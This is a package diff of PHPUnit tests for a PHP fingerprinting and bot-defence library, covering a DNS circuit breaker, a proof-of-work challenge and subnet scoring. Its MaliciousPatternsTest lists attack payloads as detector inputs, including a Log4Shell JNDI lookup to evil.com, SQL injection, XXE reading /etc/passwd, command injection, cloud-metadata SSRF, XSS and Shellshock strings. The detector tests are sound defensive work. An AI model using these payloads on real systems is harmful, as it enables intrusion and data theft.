@anonympins/fingerprint 0.7.0 → 0.7.2

package/src/php/Tests/DnsCircuitBreakerTest.php

@@ -1,106 +1,106 @@
-<?php
-
-declare(strict_types=1);
-
-namespace Anonympins\Fingerprint\Tests;
-
-use Anonympins\Fingerprint\FingerprintEngine;
-use PHPUnit\Framework\TestCase;
-use ReflectionClass;
-
-class DnsCircuitBreakerTest extends TestCase
-{
-    private ReflectionClass $reflection;
-
-    protected function setUp(): void
-    {
-        parent::setUp();
-        $this->reflection = new ReflectionClass(FingerprintEngine::class);
-
-        // Réinitialise l'état statique du disjoncteur avant chaque test
-        $this->setCircuitBreakerState([
-            'state' => 'CLOSED',
-            'failureCount' => 0,
-            'lastStateChange' => 0,
-            'threshold' => 5,
-            'cooldown' => 1, // 1 seconde de cooldown pour accélérer le test
-        ]);
-    }
-
-    private function getCircuitBreakerState(): array
-    {
-        $property = $this->reflection->getProperty('dnsCircuitBreaker');
-        if (PHP_VERSION_ID < 80100) {
-            $property->setAccessible(true);
-        }
-        return $property->getValue();
-    }
-
-    private function setCircuitBreakerState(array $state): void
-    {
-        $property = $this->reflection->getProperty('dnsCircuitBreaker');
-        if (PHP_VERSION_ID < 80100) {
-            $property->setAccessible(true);
-        }
-        $property->setValue(null, $state);
-    }
-
-    private function invokeMethod(string $methodName, array $args = [])
-    {
-        $method = $this->reflection->getMethod($methodName);
-        if (PHP_VERSION_ID < 80100) { // PHP 8.1.0
-            $method->setAccessible(true);
-        }
-        return $method->invokeArgs(null, $args);
-    }
-
-    public function testInitialStateIsClosed(): void
-    {
-        $this->assertTrue($this->invokeMethod('canAttemptDns'));
-        $state = $this->getCircuitBreakerState();
-        $this->assertSame('CLOSED', $state['state']);
-    }
-
-    public function testFailureThresholdTripsBreaker(): void
-    {
-        for ($i = 0; $i < 4; $i++) {
-            $this->invokeMethod('recordDnsFailure');
-            $this->assertTrue($this->invokeMethod('canAttemptDns'));
-            $state = $this->getCircuitBreakerState();
-            $this->assertSame('CLOSED', $state['state']);
-        }
-
-        $this->invokeMethod('recordDnsFailure');
-        $this->assertFalse($this->invokeMethod('canAttemptDns'));
-        $state = $this->getCircuitBreakerState();
-        $this->assertSame('OPEN', $state['state']);
-    }
-
-    public function testCooldownTransitionsToHalfOpen(): void
-    {
-        for ($i = 0; $i < 5; $i++) {
-            $this->invokeMethod('recordDnsFailure');
-        }
-        $this->assertFalse($this->invokeMethod('canAttemptDns'));
-
-        usleep(1100000); // 1.1s
-
-        $this->assertTrue($this->invokeMethod('canAttemptDns'));
-        $state = $this->getCircuitBreakerState();
-        $this->assertSame('HALF-OPEN', $state['state']);
-    }
-
-    public function testSuccessOnHalfOpenResetsBreaker(): void
-    {
-        for ($i = 0; $i < 5; $i++) {
-            $this->invokeMethod('recordDnsFailure');
-        }
-        usleep(1100000);
-        $this->assertTrue($this->invokeMethod('canAttemptDns'));
-
-        $this->invokeMethod('recordDnsSuccess');
-        $state = $this->getCircuitBreakerState();
-        $this->assertSame('CLOSED', $state['state']);
-        $this->assertSame(0, $state['failureCount']);
-    }
+<?php
+
+declare(strict_types=1);
+
+namespace Anonympins\Fingerprint\Tests;
+
+use Anonympins\Fingerprint\FingerprintEngine;
+use PHPUnit\Framework\TestCase;
+use ReflectionClass;
+
+class DnsCircuitBreakerTest extends TestCase
+{
+    private ReflectionClass $reflection;
+
+    protected function setUp(): void
+    {
+        parent::setUp();
+        $this->reflection = new ReflectionClass(FingerprintEngine::class);
+
+        // Réinitialise l'état statique du disjoncteur avant chaque test
+        $this->setCircuitBreakerState([
+            'state' => 'CLOSED',
+            'failureCount' => 0,
+            'lastStateChange' => 0,
+            'threshold' => 5,
+            'cooldown' => 1, // 1 seconde de cooldown pour accélérer le test
+        ]);
+    }
+
+    private function getCircuitBreakerState(): array
+    {
+        $property = $this->reflection->getProperty('dnsCircuitBreaker');
+        if (PHP_VERSION_ID < 80100) {
+            $property->setAccessible(true);
+        }
+        return $property->getValue();
+    }
+
+    private function setCircuitBreakerState(array $state): void
+    {
+        $property = $this->reflection->getProperty('dnsCircuitBreaker');
+        if (PHP_VERSION_ID < 80100) {
+            $property->setAccessible(true);
+        }
+        $property->setValue(null, $state);
+    }
+
+    private function invokeMethod(string $methodName, array $args = [])
+    {
+        $method = $this->reflection->getMethod($methodName);
+        if (PHP_VERSION_ID < 80100) { // PHP 8.1.0
+            $method->setAccessible(true);
+        }
+        return $method->invokeArgs(null, $args);
+    }
+
+    public function testInitialStateIsClosed(): void
+    {
+        $this->assertTrue($this->invokeMethod('canAttemptDns'));
+        $state = $this->getCircuitBreakerState();
+        $this->assertSame('CLOSED', $state['state']);
+    }
+
+    public function testFailureThresholdTripsBreaker(): void
+    {
+        for ($i = 0; $i < 4; $i++) {
+            $this->invokeMethod('recordDnsFailure');
+            $this->assertTrue($this->invokeMethod('canAttemptDns'));
+            $state = $this->getCircuitBreakerState();
+            $this->assertSame('CLOSED', $state['state']);
+        }
+
+        $this->invokeMethod('recordDnsFailure');
+        $this->assertFalse($this->invokeMethod('canAttemptDns'));
+        $state = $this->getCircuitBreakerState();
+        $this->assertSame('OPEN', $state['state']);
+    }
+
+    public function testCooldownTransitionsToHalfOpen(): void
+    {
+        for ($i = 0; $i < 5; $i++) {
+            $this->invokeMethod('recordDnsFailure');
+        }
+        $this->assertFalse($this->invokeMethod('canAttemptDns'));
+
+        usleep(1100000); // 1.1s
+
+        $this->assertTrue($this->invokeMethod('canAttemptDns'));
+        $state = $this->getCircuitBreakerState();
+        $this->assertSame('HALF-OPEN', $state['state']);
+    }
+
+    public function testSuccessOnHalfOpenResetsBreaker(): void
+    {
+        for ($i = 0; $i < 5; $i++) {
+            $this->invokeMethod('recordDnsFailure');
+        }
+        usleep(1100000);
+        $this->assertTrue($this->invokeMethod('canAttemptDns'));
+
+        $this->invokeMethod('recordDnsSuccess');
+        $state = $this->getCircuitBreakerState();
+        $this->assertSame('CLOSED', $state['state']);
+        $this->assertSame(0, $state['failureCount']);
+    }
 }

package/src/php/Tests/FingerprintEngineTest.php

@@ -660,4 +660,42 @@ class FingerprintEngineTest extends TestCase
         $this->assertEquals('blocked', $result['status']);
         $this->assertEquals(1.0, $result['score']);
     }
+
+    public function testHttpSimulacrumModeValidatesChallenge(): void
+    {
+        $config = SecurityProfiles::createSecurityProfile('balanced', [
+            'verbose' => false,
+            'challengeNewDevices' => true,
+        ]);
+        $engine = new FingerprintEngine($config);
+
+        $context = $this->createRequestContext([
+            'isHttps' => false
+        ]);
+
+        $challengeDecision = $engine->processRequest($context);
+        $this->assertEquals('challenge', $challengeDecision['action']);
+
+        $store = StoreManager::getStore();
+        preg_match('/const nonce = "(.*?)";/', $challengeDecision['body'], $matchesNonce);
+        $nonce = $matchesNonce[1];
+
+        $challengeContext = $store->get("secret:{$nonce}");
+        $this->assertTrue($challengeContext['isHttp']);
+
+        $submitContext = $this->createRequestContext([
+            'isHttps' => false,
+            'query' => [
+                'pow_type' => 'cpu_mem',
+                'pow_nonce' => $nonce,
+                'pow_solution_cpu' => 'http_simulacre_ack',
+                'pow_solution_mem' => '0'
+            ]
+        ]);
+
+        $submitDecision = $engine->processRequest($submitContext);
+        $this->assertEquals('redirect', $submitDecision['action']);
+        $this->assertArrayHasKey('cookie', $submitDecision);
+        $this->assertFalse($submitDecision['cookie']['options']['secure']);
+    }
 }

package/src/php/Tests/IpReputationTest.php

@@ -160,6 +160,16 @@ class IpReputationTest extends TestCase
 
         $scoreWithHistory = RequestUtils::getSubnetScore($context, 'device-1');
         $this->assertGreaterThan(0.0, $scoreWithHistory['subnetScore']);
+        $this->assertLessThanOrEqual(45.0, $scoreWithHistory['subnetScore']);
+
+        // Test avec attaquant proche (/30)
+        RequestUtils::updateSubnetMetrics($context, "attacker-1", 85.0);
+        $scoreWithAttacker = RequestUtils::getSubnetScore($context, 'device-1');
+        $this->assertGreaterThanOrEqual(45.0, $scoreWithAttacker['subnetScore']);
+
+        // Vérification du calcul de préfixe commun
+        $this->assertEquals(32, RequestUtils::getIpCommonPrefixLength('192.168.1.50', '192.168.1.50'));
+        $this->assertEquals(31, RequestUtils::getIpCommonPrefixLength('192.168.1.50', '192.168.1.51'));
     }
 
     public function testTlsSpoofingScoreWithJa4(): void

package/src/php/Tests/MaliciousPatternsTest.php

@@ -1,104 +1,104 @@
-<?php
-
-declare(strict_types=1);
-
-namespace Anonympins\Fingerprint\Tests;
-
-use Anonympins\Fingerprint\Utils\MaliciousPatterns;
-use PHPUnit\Framework\TestCase;
-
-class MaliciousPatternsTest extends TestCase
-{
-    /**
-     * @dataProvider maliciousProvider
-     */
-    public function testIsMaliciousDetectsThreats(string $payload, bool $expected): void
-    {
-        $this->assertSame($expected, MaliciousPatterns::isMalicious($payload));
-    }
-
-    /**
-     * @dataProvider openRedirectProvider
-     */
-    public function testIsMaliciousDetectsOpenRedirect(string $payload, bool $expected): void
-    {
-        $this->assertSame($expected, MaliciousPatterns::isMalicious($payload, ['openRedirect']));
-    }
-
-    public function maliciousProvider(): array
-    {
-        return [
-            // SQL Injections
-            ["' OR '1'='1", true],
-            ["UNION SELECT username, password FROM users", true],
-            ["normal text with no SQL", false],
-
-            // Log4Shell
-            ['${jndi:ldap://evil.com/a}', true],
-            ['normal log ${user.name}', false],
-
-            // SSTI
-            ['{{ 7*7 }}', true],
-            ['{% if user.isAdmin %}', true],
-            ['simple {braces}', false],
-
-            // XXE
-            ['<!ENTITY xxe SYSTEM "file:///etc/passwd">', true],
-            ['<!DOCTYPE html>', false],
-
-            // Path Traversal
-            ['../../etc/passwd', true],
-            ['..\\..\\win.ini', true],
-            ['normal/path/to/file', false],
-
-            // RCE
-            ['`whoami`', true],
-            ['; ping -c 4 8.8.8.8', true],
-            ['normal ping command desc', false],
-
-            // SSRF
-            ['http://127.0.0.1/admin', true],
-            ['https://localhost:8443', true],
-            ['http://169.254.169.254/latest/meta-data', true],
-            ['https://google.com', false],
-
-            // CRLF
-            ["test\r\nHeader: value", true],
-            ["%0d%0aHeader: value", true],
-            ["clean string", false],
-
-            // XSS
-            ['<script>alert(1)</script>', true],
-            ['javascript:alert(1)', true],
-            ['<img src=x onerror=alert(1)>', true],
-            ['<b>bold text</b>', false],
-
-            // LFI/RFI
-            ['etc/passwd', true],
-            ['win.ini', true],
-            ['php://filter/resource=index.php', true],
-            ['normal_file.txt', false],
-
-            // Shellshock
-            ['() { :; }; echo "Vulnerable"', true],
-            ['() { :;};', true],
-            ['function test() {}', false],
-
-            // NoSQL Operator Injection
-            ['$gt', true],
-            ['$elemMatch', true],
-            ['$where', true],
-            ['This is $10', false],
-        ];
-    }
-
-    public function openRedirectProvider(): array
-    {
-        return [
-            ['https://evil.com/redirect', true],
-            ['//malicious-site.com', true],
-            ['/local/path', false],
-            ['http://localhost/dashboard', false],
-        ];
-    }
+<?php
+
+declare(strict_types=1);
+
+namespace Anonympins\Fingerprint\Tests;
+
+use Anonympins\Fingerprint\Utils\MaliciousPatterns;
+use PHPUnit\Framework\TestCase;
+
+class MaliciousPatternsTest extends TestCase
+{
+    /**
+     * @dataProvider maliciousProvider
+     */
+    public function testIsMaliciousDetectsThreats(string $payload, bool $expected): void
+    {
+        $this->assertSame($expected, MaliciousPatterns::isMalicious($payload));
+    }
+
+    /**
+     * @dataProvider openRedirectProvider
+     */
+    public function testIsMaliciousDetectsOpenRedirect(string $payload, bool $expected): void
+    {
+        $this->assertSame($expected, MaliciousPatterns::isMalicious($payload, ['openRedirect']));
+    }
+
+    public function maliciousProvider(): array
+    {
+        return [
+            // SQL Injections
+            ["' OR '1'='1", true],
+            ["UNION SELECT username, password FROM users", true],
+            ["normal text with no SQL", false],
+
+            // Log4Shell
+            ['${jndi:ldap://evil.com/a}', true],
+            ['normal log ${user.name}', false],
+
+            // SSTI
+            ['{{ 7*7 }}', true],
+            ['{% if user.isAdmin %}', true],
+            ['simple {braces}', false],
+
+            // XXE
+            ['<!ENTITY xxe SYSTEM "file:///etc/passwd">', true],
+            ['<!DOCTYPE html>', false],
+
+            // Path Traversal
+            ['../../etc/passwd', true],
+            ['..\\..\\win.ini', true],
+            ['normal/path/to/file', false],
+
+            // RCE
+            ['`whoami`', true],
+            ['; ping -c 4 8.8.8.8', true],
+            ['normal ping command desc', false],
+
+            // SSRF
+            ['http://127.0.0.1/admin', true],
+            ['https://localhost:8443', true],
+            ['http://169.254.169.254/latest/meta-data', true],
+            ['https://google.com', false],
+
+            // CRLF
+            ["test\r\nHeader: value", true],
+            ["%0d%0aHeader: value", true],
+            ["clean string", false],
+
+            // XSS
+            ['<script>alert(1)</script>', true],
+            ['javascript:alert(1)', true],
+            ['<img src=x onerror=alert(1)>', true],
+            ['<b>bold text</b>', false],
+
+            // LFI/RFI
+            ['etc/passwd', true],
+            ['win.ini', true],
+            ['php://filter/resource=index.php', true],
+            ['normal_file.txt', false],
+
+            // Shellshock
+            ['() { :; }; echo "Vulnerable"', true],
+            ['() { :;};', true],
+            ['function test() {}', false],
+
+            // NoSQL Operator Injection
+            ['$gt', true],
+            ['$elemMatch', true],
+            ['$where', true],
+            ['This is $10', false],
+        ];
+    }
+
+    public function openRedirectProvider(): array
+    {
+        return [
+            ['https://evil.com/redirect', true],
+            ['//malicious-site.com', true],
+            ['/local/path', false],
+            ['http://localhost/dashboard', false],
+        ];
+    }
 }